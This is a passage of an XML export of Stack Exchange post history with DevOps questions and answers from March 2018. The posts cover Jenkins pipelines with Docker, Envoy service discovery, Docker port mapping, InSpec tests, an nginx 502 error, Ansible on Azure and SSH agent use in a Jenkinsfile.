}&#xD;&#xA;&#xD;&#xA;        stage('Deploy to test') {&#xD;&#xA;            when {&#xD;&#xA;                branch &quot;develop&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                # This is still ran inside the Docker container, not the host&#xD;&#xA;                sh 'docker-compose up -d'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage(&quot;Archive&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;zip -r dist.zip .&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            archiveArtifacts artifacts: &quot;dist.zip&quot;&#xD;&#xA;            junit &quot;reports/phpunit.report.xml&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**PS: I have originally posted this at https://stackoverflow.com/questions/49494571/jenkins-pipeline-docker-integration and copied it here as a user suggested it and it sounded as a better location, so I dit it.**" ContentLicense="CC BY-SA 3.0" />
  <row Id="11660" PostHistoryTypeId="5" PostId="3727" RevisionGUID="c11059e2-ab80-47d0-a264-078f09f44b46" CreationDate="2018-03-26T18:18:42.813" UserId="7109" Comment="deleted 217 characters in body" Text="I have a CI server which has Jenkins installed in the host it self, and I want to run builds and tests inside Docker containers. Until here it works like it should, but I also want to deploy containers using docker-compose and this should be done in the host, but when I run commands inside the Jenkinsfile, they are ran inside the Docker container used for builds and tests.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        dockerfile {&#xD;&#xA;            filename &quot;Dockerfile&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage(&quot;Run unit tests&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;cp environments/.env.build .env&quot;&#xD;&#xA;                sh &quot;vendor/bin/phpunit&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('Deploy to test') {&#xD;&#xA;            when {&#xD;&#xA;                branch &quot;develop&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                # This is still ran inside the Docker container, not the host&#xD;&#xA;                sh 'docker-compose up -d'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage(&quot;Archive&quot;) {&#xD;&#xA;            steps {&#xD;&#xA;                # This is ran inside the Docker container, as expected&#xD;&#xA;                sh &quot;zip -r dist.zip .&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            archiveArtifacts artifacts: &quot;dist.zip&quot;&#xD;&#xA;            junit &quot;reports/phpunit.report.xml&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="11662" PostHistoryTypeId="2" PostId="3729" RevisionGUID="b42563a9-b41b-454d-99e3-7908ead2e777" CreationDate="2018-03-26T18:57:40.033" UserId="210" Text="One way to solve this it to use multiple pipelines. The first pipeline runs the test in docker. When that has been completed, one could call another job&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/pipeline/steps/pipeline-build-step/&#xD;&#xA;&#xD;&#xA;https://support.cloudbees.com/hc/en-us/articles/221400287-How-to-pass-parameter-to-downstream-job-in-Pipeline-job-&#xD;&#xA;&#xD;&#xA;&gt;     node {&#xD;&#xA;&gt;         paramAValue = &quot;paramAValue&quot;&#xD;&#xA;&gt;         paramBValue = &quot;paramBValue&quot;&#xD;&#xA;&gt;         build job: 'downstream-freestyle', parameters: [[$class:  'StringParameterValue', name: 'ParamA', value: paramAValue], [$class:&#xD;&#xA;&gt;            'StringParameterValue', name: 'ParamB', value: paramBValue]]&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;that runs docker-compose on Jenkins itself." ContentLicense="CC BY-SA 3.0" />
  <row Id="11663" PostHistoryTypeId="5" PostId="3718" RevisionGUID="b9f4ead3-5331-42e8-b229-afb9a92fa96a" CreationDate="2018-03-26T20:30:40.087" UserId="800" Comment="Better formating" Text="I found the solution!!!&#xD;&#xA;&#xD;&#xA;Views Flask-Security is packaged with a default template for each view it presents to a user. Templates are located within a sub-folder named security. The following is a list of view templates:&#xD;&#xA;&#xD;&#xA;    security/forgot_password.html&#xD;&#xA;    security/login_user.html&#xD;&#xA;    security/register_user.html&#xD;&#xA;    security/reset_password.html&#xD;&#xA;    security/change_password.html&#xD;&#xA;    security/send_confirmation.html&#xD;&#xA;    security/send_login.html&#xD;&#xA;&#xD;&#xA;Overriding these templates is simple:&#xD;&#xA;&#xD;&#xA; - Create a folder named security within your application’s templates folder&#xD;&#xA; - Create a template with the same name for the template you wish to override&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11664" PostHistoryTypeId="24" PostId="3718" RevisionGUID="b9f4ead3-5331-42e8-b229-afb9a92fa96a" CreationDate="2018-03-26T20:30:40.087" Comment="Proposed by 800 approved by 40, 7098 edit id of 650" ContentLicense="CC BY-SA 3.0" />
  <row Id="11665" PostHistoryTypeId="2" PostId="3730" RevisionGUID="ad012a74-3015-40f9-bd85-94b9e461e8ac" CreationDate="2018-03-26T21:21:53.940" UserId="7115" Text="This is a micro services deployment question. How would you deploy Envoy SDS(service discovery service) so other envoy proxies can find the SDS server hosts, in order to discover other services to build the service mesh. Should I put it behind a load balancer with a DNS name( single point of failure) or just run the SDS locally in every machine so other micro services can access it? Or is there a better way of deployment that SDS cluster can be dynamically added into envoy config without a single point of failure?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11666" PostHistoryTypeId="1" PostId="3730" RevisionGUID="ad012a74-3015-40f9-bd85-94b9e461e8ac" CreationDate="2018-03-26T21:21:53.940" UserId="7115" Text="How to deploy Envoy EDS/SDS" ContentLicense="CC BY-SA 3.0" />
  <row Id="11667" PostHistoryTypeId="3" PostId="3730" RevisionGUID="ad012a74-3015-40f9-bd85-94b9e461e8ac" CreationDate="2018-03-26T21:21:53.940" UserId="7115" Text="&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11668" PostHistoryTypeId="2" PostId="3731" RevisionGUID="36cd5b67-ef57-4cb6-a772-a17f8dc90a20" CreationDate="2018-03-26T21:35:20.360" UserId="7115" Text="I ended up listing the SDS/EDS directly under the private DNS zone. So backend micro services will get a set of ips for available SDS servers, in order to retrieve app service endpoint information. This does not include load balancer. It can use DNS supported load balancing features. SDS uses a script to heartbeat itself to the DNS. It was implemented in AWS so SDS is running in an ECS container,and that heartbeat script uses AWS metadata service to obtain and report its ip address to DNS. &#xD;&#xA;This method means there is very less downtime, since DNS servers hardly ever fail. But we dont get advanced load balancing. Also better than having an SDS in each ec2 host, since it will cost less resources, and will not run into the possibility of all micro services in a particular box failing since its local sds server failed." ContentLicense="CC BY-SA 3.0" />
  <row Id="11669" PostHistoryTypeId="5" PostId="3731" RevisionGUID="46b79d05-5dd7-4c5a-a180-7415aee9162e" CreationDate="2018-03-26T21:47:31.180" UserId="7115" Comment="added 251 characters in body" Text="I ended up listing the SDS/EDS directly under the private DNS zone. However this means it is required to have a static port that the SDS listens to on any box its placed, and every other service will have to have it passed as a known constant. So backend micro services will get a set of ips for available SDS servers, in order to retrieve app service endpoint information. This does not include a load balancer. It can use DNS supported load balancing features. SDS uses a script to heartbeat itself to the DNS. It was implemented in AWS so SDS is running in ECS containers, automatically placed by ECS cluster management service, and that heartbeat script in the SDS server uses AWS metadata service to obtain and report its ip address to DNS. &#xD;&#xA;This method means there is very less downtime, since DNS servers hardly ever fail. But we dont get advanced load balancing. Also better than having an SDS in each ec2 host, since it will cost less resources, and will not run into the possibility of all micro services in a particular box failing since its local sds server failed." ContentLicense="CC BY-SA 3.0" />
  <row Id="11670" PostHistoryTypeId="2" PostId="3732" RevisionGUID="e6c61db4-7421-4081-9d8a-6cec32fa37e5" CreationDate="2018-03-26T22:27:12.303" UserId="7117" Text="One reason to with Kubernetes as a scheduler if you use or would consider Azure as a cloud provider is their relatively new AKS service (managed kubernetes). In this case you would not combine kubernetes with docker swarm though. &#xA;&#xA;This to me is clear indication as to where the community is going. I would not want to learn something that I would later need to throw in the trash can." ContentLicense="CC BY-SA 3.0" />
  <row Id="11672" PostHistoryTypeId="2" PostId="3733" RevisionGUID="a077f7e4-1e05-4786-a01b-e464f3de937b" CreationDate="2018-03-27T00:26:17.190" UserId="7124" Text="I Have been using docker for a few months and I am just a developer not a DevOps or a networking person. However, I came across a docker-compose which maps an external port to an internal port. Something like in this compose file:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/compose-file/#update_config&#xD;&#xA;&#xD;&#xA;where it says:&#xD;&#xA;&#xD;&#xA;`ports:&#xD;&#xA;      - 8080:80`&#xD;&#xA;&#xD;&#xA;My question is WHY? Why do we need to map an external port to internal port. Some of the explanation that I came across was that if you want to not expose a particular port to the user but use it internally. That also begs the same question: what would be a real life example of someone wanting to do this and why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11673" PostHistoryTypeId="1" PostId="3733" RevisionGUID="a077f7e4-1e05-4786-a01b-e464f3de937b" CreationDate="2018-03-27T00:26:17.190" UserId="7124" Text="Why to do Port mapping for docker containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11674" PostHistoryTypeId="3" PostId="3733" RevisionGUID="a077f7e4-1e05-4786-a01b-e464f3de937b" CreationDate="2018-03-27T00:26:17.190" UserId="7124" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11678" PostHistoryTypeId="2" PostId="3735" RevisionGUID="0435e7de-da91-4a77-819f-15ae4819451b" CreationDate="2018-03-27T01:25:13.373" UserId="549" Text="# Background&#xD;&#xA;I'm trying to test a [PostgreSQL container][1] with [InSpec][2] 2.1.10, but I cannot get a simple port check to return true, even though Docker, netstat, and psql all report that the port is properly mapped. While it's possible this is a bug in InSpec, it seems more likely that the problem exists between the keyboard and the chair. What have I missed?&#xD;&#xA;&#xD;&#xA;# Repeatable Tests&#xD;&#xA;## My Spec&#xD;&#xA;&#xD;&#xA;    # port_test.rb&#xD;&#xA;    describe port(5432) do&#xD;&#xA;      it { should be_listening }&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;## My Testing Commands&#xD;&#xA;&#xD;&#xA;    container=$(docker run -d -P --rm postgres:alpine)&#xD;&#xA;    inspec exec port_test.rb -t docker://$container&#xD;&#xA;&#xD;&#xA;## My Output&#xD;&#xA;&gt;     Profile: tests from test.rb (tests from test.rb)&#xD;&#xA;    Version: (not specified)&#xD;&#xA;    Target:  docker://8caceaa7e2eefa4a2bf50a58ea1ddf9c927c08d3397e3d9ad5b60d3519971380&#xD;&#xA;&gt;    &#xD;&#xA;      Port 5432&#xD;&#xA;         ×  should be listening&#xD;&#xA;         expected `Port 5432.listening?` to return true, got false&#xD;&#xA;&gt;    &#xD;&#xA;    Test Summary: 0 successful, 1 failure, 0 skipped&#xD;&#xA;&#xD;&#xA;## But It Should Work!&#xD;&#xA;Everything but InSpec reports that things are working as expected.&#xD;&#xA;&#xD;&#xA;    $ docker port $container&#xD;&#xA;    5432/tcp -&gt; 0.0.0.0:32770&#xD;&#xA;&#xD;&#xA;    # from inside container using netstat&#xD;&#xA;    $ docker exec $container netstat -lntp&#xD;&#xA;    Active Internet connections (only servers)&#xD;&#xA;    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    &#xD;&#xA;    tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -&#xD;&#xA;    tcp        0      0 :::5432                 :::*                    LISTEN      -&#xD;&#xA;&#xD;&#xA;    # on macOS Docker host; flags are the macOS equivalent to `-lntp`&#xD;&#xA;    $ netstat -anv | fgrep $(docker port $container | cut -d: -f2)&#xD;&#xA;    tcp6       0      0  ::1.32770              *.*                    LISTEN      131072 131072    709      0&#xD;&#xA;    tcp4       0      0  *.32770                *.*                    LISTEN      131072 131072    709      0&#xD;&#xA;&#xD;&#xA;    # connecting to database in container from host&#xD;&#xA;    $ psql -V \&#xD;&#xA;           -h localhost \&#xD;&#xA;           -p $(docker port $container | cut -d: -f2)&#xD;&#xA;    psql (PostgreSQL) 10.3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/postgres/&#xD;&#xA;  [2]: https://www.inspec.io/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11679" PostHistoryTypeId="1" PostId="3735" RevisionGUID="0435e7de-da91-4a77-819f-15ae4819451b" CreationDate="2018-03-27T01:25:13.373" UserId="549" Text="Why won't InSpec admit that port 5432 is listening inside a PostgreSQL container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11680" PostHistoryTypeId="3" PostId="3735" RevisionGUID="0435e7de-da91-4a77-819f-15ae4819451b" CreationDate="2018-03-27T01:25:13.373" UserId="549" Text="&lt;docker&gt;&lt;testing&gt;&lt;databases&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11681" PostHistoryTypeId="2" PostId="3736" RevisionGUID="ba679a68-bb37-469e-997a-2b6015d22cb3" CreationDate="2018-03-27T02:34:21.783" UserId="4117" Text="So my server got maintenance schedule from cloud provider, after maintenance process, the server rebooted, then my jenkins cannot be accessed from the web anymore, I am using nginx and checking the logs I found this.&#xD;&#xA;&#xD;&#xA;&gt; /var/log/nginx/error.log&#xD;&#xA;&#xD;&#xA;    2018/03/26 16:11:00 [error] 21689#21689: *1 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 139.139.139.139, server: jenkins.domain.com, request: &quot;GET / HTTP/1.1&quot;, upstream: &quot;http://127.0.0.1:8080/&quot;, host: &quot;jenkins.domain.com&quot;&#xD;&#xA;    &#xD;&#xA;    2018/03/26 16:11:00 [error] 21689#21689: *1 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 139.139.139.139, server: jenkins.domain.com, request: &quot;GET /favicon.ico HTTP/1.1&quot;, upstream: &quot;http://127.0.0.1:8080/favicon.ico&quot;, host: &quot;jenkins.domain.com&quot;, referrer: &quot;http://jenkins.domain.com/&quot;&#xD;&#xA;&#xD;&#xA;here is my nginx conf file:&#xD;&#xA;&#xD;&#xA;    upstream app_server {&#xD;&#xA;    server 127.0.0.1:8080 fail_timeout=0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;      listen 80;&#xD;&#xA;      server_name jenkins.domain.com;&#xD;&#xA;      root /var/www/jenkins.domain.com;&#xD;&#xA;&#xD;&#xA;      location ~ /\.well-known/acme-challenge {&#xD;&#xA;            default_type &quot;text/plain&quot;;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      location / {&#xD;&#xA;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header Host $http_host;&#xD;&#xA;            proxy_redirect off;&#xD;&#xA;&#xD;&#xA;            if (!-f $request_filename) {&#xD;&#xA;                proxy_pass http://app_server;&#xD;&#xA;                break;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;What is the cause of this and maybe what can I do to fix this? Really need your help guys.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="11682" PostHistoryTypeId="1" PostId="3736" RevisionGUID="ba679a68-bb37-469e-997a-2b6015d22cb3" CreationDate="2018-03-27T02:34:21.783" UserId="4117" Text="Jenkins returns 502 gateway error and (104: Connection reset by peer)" ContentLicense="CC BY-SA 3.0" />
  <row Id="11683" PostHistoryTypeId="3" PostId="3736" RevisionGUID="ba679a68-bb37-469e-997a-2b6015d22cb3" CreationDate="2018-03-27T02:34:21.783" UserId="4117" Text="&lt;jenkins&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11684" PostHistoryTypeId="6" PostId="3735" RevisionGUID="4d17fc2c-f276-45fd-b4a9-170d9e15a802" CreationDate="2018-03-27T02:47:47.917" UserId="47" Comment="updated tags" Text="&lt;docker&gt;&lt;ports&gt;&lt;inspec&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11685" PostHistoryTypeId="2" PostId="3737" RevisionGUID="f11b964f-2adf-455b-be96-c514c26989b3" CreationDate="2018-03-27T02:50:43.137" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11686" PostHistoryTypeId="1" PostId="3737" RevisionGUID="f11b964f-2adf-455b-be96-c514c26989b3" CreationDate="2018-03-27T02:50:43.137" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11687" PostHistoryTypeId="2" PostId="3738" RevisionGUID="960b9550-212f-4416-bb03-dfda6ba9cb07" CreationDate="2018-03-27T02:50:43.137" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11688" PostHistoryTypeId="1" PostId="3738" RevisionGUID="960b9550-212f-4416-bb03-dfda6ba9cb07" CreationDate="2018-03-27T02:50:43.137" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11689" PostHistoryTypeId="2" PostId="3739" RevisionGUID="ede9fd44-3d72-4a16-b6f6-777232306609" CreationDate="2018-03-27T02:58:05.280" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11690" PostHistoryTypeId="1" PostId="3739" RevisionGUID="ede9fd44-3d72-4a16-b6f6-777232306609" CreationDate="2018-03-27T02:58:05.280" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11691" PostHistoryTypeId="2" PostId="3740" RevisionGUID="357a14ea-db49-43b0-a634-daca6c5077de" CreationDate="2018-03-27T02:58:05.280" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11692" PostHistoryTypeId="1" PostId="3740" RevisionGUID="357a14ea-db49-43b0-a634-daca6c5077de" CreationDate="2018-03-27T02:58:05.280" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11693" PostHistoryTypeId="5" PostId="3733" RevisionGUID="42169439-f695-48c8-b392-86639a59272b" CreationDate="2018-03-27T03:12:54.487" UserId="47" Comment="better reference" Text="I Have been using docker for a few months and I am just a developer not a DevOps or a networking person. However, I came across a docker-compose which maps an external port to an internal port. Something like in this compose file:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/compose-file/#endpoint_mode&#xD;&#xA;&#xD;&#xA;where it says:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - 8080:80&#xD;&#xA;&#xD;&#xA;My question is WHY? Why do we need to map an external port to internal port. Some of the explanation that I came across was that if you want to not expose a particular port to the user but use it internally. That also begs the same question: what would be a real life example of someone wanting to do this and why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11694" PostHistoryTypeId="50" PostId="3081" RevisionGUID="65d89c7b-28b6-4d37-9f18-48b4b549fc62" CreationDate="2018-03-27T04:38:51.390" UserId="-1" />
  <row Id="11695" PostHistoryTypeId="50" PostId="1517" RevisionGUID="4f7966ff-c2e6-41cb-ac62-7884ed1b9677" CreationDate="2018-03-27T06:39:06.927" UserId="-1" />
  <row Id="11696" PostHistoryTypeId="5" PostId="3737" RevisionGUID="3a0b8a51-78ed-4b09-8d4b-e0552411314d" CreationDate="2018-03-27T06:43:48.947" UserId="47" Comment="added 512 characters in body" Text="From [InSpec Documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; InSpec is a free and open-source framework for testing and auditing&#xD;&#xA;&gt; your applications and infrastructure. InSpec works by comparing the&#xD;&#xA;&gt; actual state of your system with the desired state that you express in&#xD;&#xA;&gt; easy-to-read and easy-to-write InSpec code. InSpec detects violations&#xD;&#xA;&gt; and displays findings in the form of a report, but puts you in control&#xD;&#xA;&gt; of remediation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Website: [InSpec][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.inspec.io/docs/&#xD;&#xA;  [2]: https://www.inspec.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11697" PostHistoryTypeId="24" PostId="3737" RevisionGUID="3a0b8a51-78ed-4b09-8d4b-e0552411314d" CreationDate="2018-03-27T06:43:48.947" Comment="Proposed by 47 approved by 40, 707 edit id of 651" ContentLicense="CC BY-SA 3.0" />
  <row Id="11698" PostHistoryTypeId="5" PostId="3739" RevisionGUID="6a8684e5-ca2a-42ed-8e21-717bbe27c31b" CreationDate="2018-03-27T06:43:53.130" UserId="47" Comment="added 1107 characters in body" Text="From PostgreSQL [About][1] page:&#xD;&#xA;&#xD;&#xA;&gt; PostgreSQL is a powerful, open source object-relational database&#xD;&#xA;&gt; system. It has more than 15 years of active development and a proven&#xD;&#xA;&gt; architecture that has earned it a strong reputation for reliability,&#xD;&#xA;&gt; data integrity, and correctness. It runs on all major operating&#xD;&#xA;&gt; systems, including Linux, UNIX (AIX, BSD, HP-UX, macOS, Solaris), and&#xD;&#xA;&gt; Windows. It is fully ACID compliant, has full support for foreign&#xD;&#xA;&gt; keys, joins, views, triggers, and stored procedures (in multiple&#xD;&#xA;&gt; languages). It includes most SQL:2008 data types, including INTEGER,&#xD;&#xA;&gt; NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL, and TIMESTAMP. It&#xD;&#xA;&gt; also supports storage of binary large objects, including pictures,&#xD;&#xA;&gt; sounds, or video. It has native programming interfaces for C/C++,&#xD;&#xA;&gt; Java, .Net, Perl, Python, Ruby, Tcl, ODBC, among others, and&#xD;&#xA;&gt; [exceptional documentation][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Website: [PostgreSQL][3]&#xD;&#xA;&#xD;&#xA;Related tags: [tag:databases] [tag:sql]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.postgresql.org/about/&#xD;&#xA;  [2]: https://www.postgresql.org/docs/manuals/&#xD;&#xA;  [3]: https://www.postgresql.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11699" PostHistoryTypeId="24" PostId="3739" RevisionGUID="6a8684e5-ca2a-42ed-8e21-717bbe27c31b" CreationDate="2018-03-27T06:43:53.130" Comment="Proposed by 47 approved by 40, 707 edit id of 653" ContentLicense="CC BY-SA 3.0" />
  <row Id="11700" PostHistoryTypeId="2" PostId="3741" RevisionGUID="85bff0bf-1977-4c4c-bb21-74da60d27e3a" CreationDate="2018-03-27T07:03:16.563" UserId="6544" Text="I am working on creating an Ansible playbook to&#xD;&#xA;&#xD;&#xA;* Ensure required network resources for an Azure VM are present, and &#xD;&#xA;* Create an Azure VM attached to those resources. &#xD;&#xA;&#xD;&#xA;Due to the way the organization is structured, all _network resources_ (such as NIC, NSG, Subnets and Public IPs) are placed in a `Networks` Resource Group in Azure. And these are managed by a separate team.&#xD;&#xA;&#xD;&#xA;Also, the mandate is to create the Azure VMs and all _non network_ resources in a separate resource group (let's call it `AZRVMRG`. &#xD;&#xA;&#xD;&#xA;The chunk of the playbook that creates the VM looks like this:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: &quot;Create VM {{vm_type}} - {{name}}&quot;&#xD;&#xA;      azure_rm_virtualmachine:&#xD;&#xA;        resource_group: &quot;{{rg_name}}&quot;&#xD;&#xA;        name: &quot;{{name}}&quot;&#xD;&#xA;        vm_size: &quot;{{size}}&quot;&#xD;&#xA;        admin_username: &quot;{{user}}&quot;&#xD;&#xA;        admin_password: &quot;{{pass}}&quot;&#xD;&#xA;        os_type: &quot;{{os_type}}&quot;&#xD;&#xA;        network_interfaces: &quot;{{nic_name}}&quot;&#xD;&#xA;        image: &quot;{{image}}&quot;&#xD;&#xA;        tags: &quot;{{tags}}&quot;&#xD;&#xA;&#xD;&#xA;Where `{{rg_name}}` is the `AZRVMRG` RG, and `{{nic_name}}` is an existing NIC present in the `Networks` RG.&#xD;&#xA;&#xD;&#xA;How do I reference the NIC present in the `Networks` resource group while creating the Azure VM within `AZRVMRG` resource group? &#xD;&#xA;&#xD;&#xA;(I have seen VMs created in the Azure subscription this way, so this is possible in Azure. But Ansible does not document this approach in its [official docs.](http://docs.ansible.com/ansible/latest/azure_rm_virtualmachine_module.html) )" ContentLicense="CC BY-SA 3.0" />
  <row Id="11701" PostHistoryTypeId="1" PostId="3741" RevisionGUID="85bff0bf-1977-4c4c-bb21-74da60d27e3a" CreationDate="2018-03-27T07:03:16.563" UserId="6544" Text="Can I create an Azure VM from Ansible with NICs in different resource groups?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11702" PostHistoryTypeId="3" PostId="3741" RevisionGUID="85bff0bf-1977-4c4c-bb21-74da60d27e3a" CreationDate="2018-03-27T07:03:16.563" UserId="6544" Text="&lt;ansible&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11703" PostHistoryTypeId="5" PostId="3741" RevisionGUID="c735f492-d6d2-431c-9351-588ed92616d0" CreationDate="2018-03-27T07:15:35.310" UserId="6544" Comment="added what i've tried" Text="I am working on creating an Ansible playbook to&#xD;&#xA;&#xD;&#xA;* Ensure required network resources for an Azure VM are present, and &#xD;&#xA;* Create an Azure VM attached to those resources. &#xD;&#xA;&#xD;&#xA;Due to the way the organization is structured, all _network resources_ (such as NIC, NSG, Subnets and Public IPs) are placed in a `Networks` Resource Group in Azure. And these are managed by a separate team.&#xD;&#xA;&#xD;&#xA;Also, the mandate is to create the Azure VMs and all _non network_ resources in a separate resource group (let's call it `AZRVMRG`. &#xD;&#xA;&#xD;&#xA;The chunk of the playbook that creates the VM looks like this:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: &quot;Create VM {{vm_type}} - {{name}}&quot;&#xD;&#xA;      azure_rm_virtualmachine:&#xD;&#xA;        resource_group: &quot;{{rg_name}}&quot;&#xD;&#xA;        name: &quot;{{name}}&quot;&#xD;&#xA;        vm_size: &quot;{{size}}&quot;&#xD;&#xA;        admin_username: &quot;{{user}}&quot;&#xD;&#xA;        admin_password: &quot;{{pass}}&quot;&#xD;&#xA;        os_type: &quot;{{os_type}}&quot;&#xD;&#xA;        network_interfaces: &quot;{{nic_name}}&quot;&#xD;&#xA;        image: &quot;{{image}}&quot;&#xD;&#xA;        tags: &quot;{{tags}}&quot;&#xD;&#xA;&#xD;&#xA;Where `{{rg_name}}` is the `AZRVMRG` RG, and `{{nic_name}}` is an existing NIC present in the `Networks` RG.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Question &#xD;&#xA;&#xD;&#xA;How do I reference the NIC present in the `Networks` resource group while creating the Azure VM within `AZRVMRG` resource group? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## What I've tried&#xD;&#xA;&#xD;&#xA;I have tried &quot;just&quot; referencing the NIC name, but that gives me an error similar to:&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     &quot;msg&quot;: &quot;Error fetching network interface AZRVMNIC - Azure Error: ResourceNotFound\nMessage: The Resource 'Microsoft.Network/networkInterfaces/AZRVMNIC' under resource group 'AZRVMRG' was not found.&quot;&#xD;&#xA;&#xD;&#xA;So clearly, its looking under the same resource group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Notes&#xD;&#xA;&#xD;&#xA;(I have seen VMs created in the Azure subscription this way, so this is possible in Azure. But Ansible does not document this approach in its [official docs.](http://docs.ansible.com/ansible/latest/azure_rm_virtualmachine_module.html) )" ContentLicense="CC BY-SA 3.0" />
  <row Id="11704" PostHistoryTypeId="2" PostId="3742" RevisionGUID="bb1054ad-b672-418b-8194-f60d0b616aea" CreationDate="2018-03-27T09:33:16.153" UserId="7128" Text="I am new to Jenkinsfile.&#xD;&#xA;I have previously configured my Jenkins job from GUI, and we are now upgrading our server to use Jenkinsfile.&#xD;&#xA;My job contains a section which needs to SSH to another server.&#xD;&#xA;To do this, I previously used the sshagent plugin on the GUI to specify my keys.&#xD;&#xA;However, on the jenkinsfile mechanism this does not work.&#xD;&#xA;&#xD;&#xA;First things first:&#xD;&#xA;Aside from using jenkinsfile, we have also trasitioned to building in **docker**. I read in some places that docker might conflict with sshagent plugin, so I am trying to remove docker by starting a clean job with &quot;agent any&quot; and trying to test.&#xD;&#xA;&#xD;&#xA;So my new job looks like this:&#xD;&#xA;&#xD;&#xA;        @NonCPS  // Necessary to allow .each to work.&#xD;&#xA;    def changelist() {&#xD;&#xA;        def changes = &quot;&quot;&#xD;&#xA;        currentBuild.changeSets.each { set -&gt;&#xD;&#xA;            set.each { entry -&gt;&#xD;&#xA;                changes += &quot;${entry.author.id} &quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        changes&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;    	agent none&#xD;&#xA;        stages {&#xD;&#xA;    			stage('test') {&#xD;&#xA;    			agent any&#xD;&#xA;                steps {&#xD;&#xA;                    sshagent ( ['a-jenkins-credential']) {&#xD;&#xA;    	sh '''&#xD;&#xA;    ssh -vv myuser@myserver echo testing connection || true&#xD;&#xA;    ssh-add -L&#xD;&#xA;    echo done running remote windows test&#xD;&#xA;    '''&#xD;&#xA;      }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    }&#xD;&#xA;    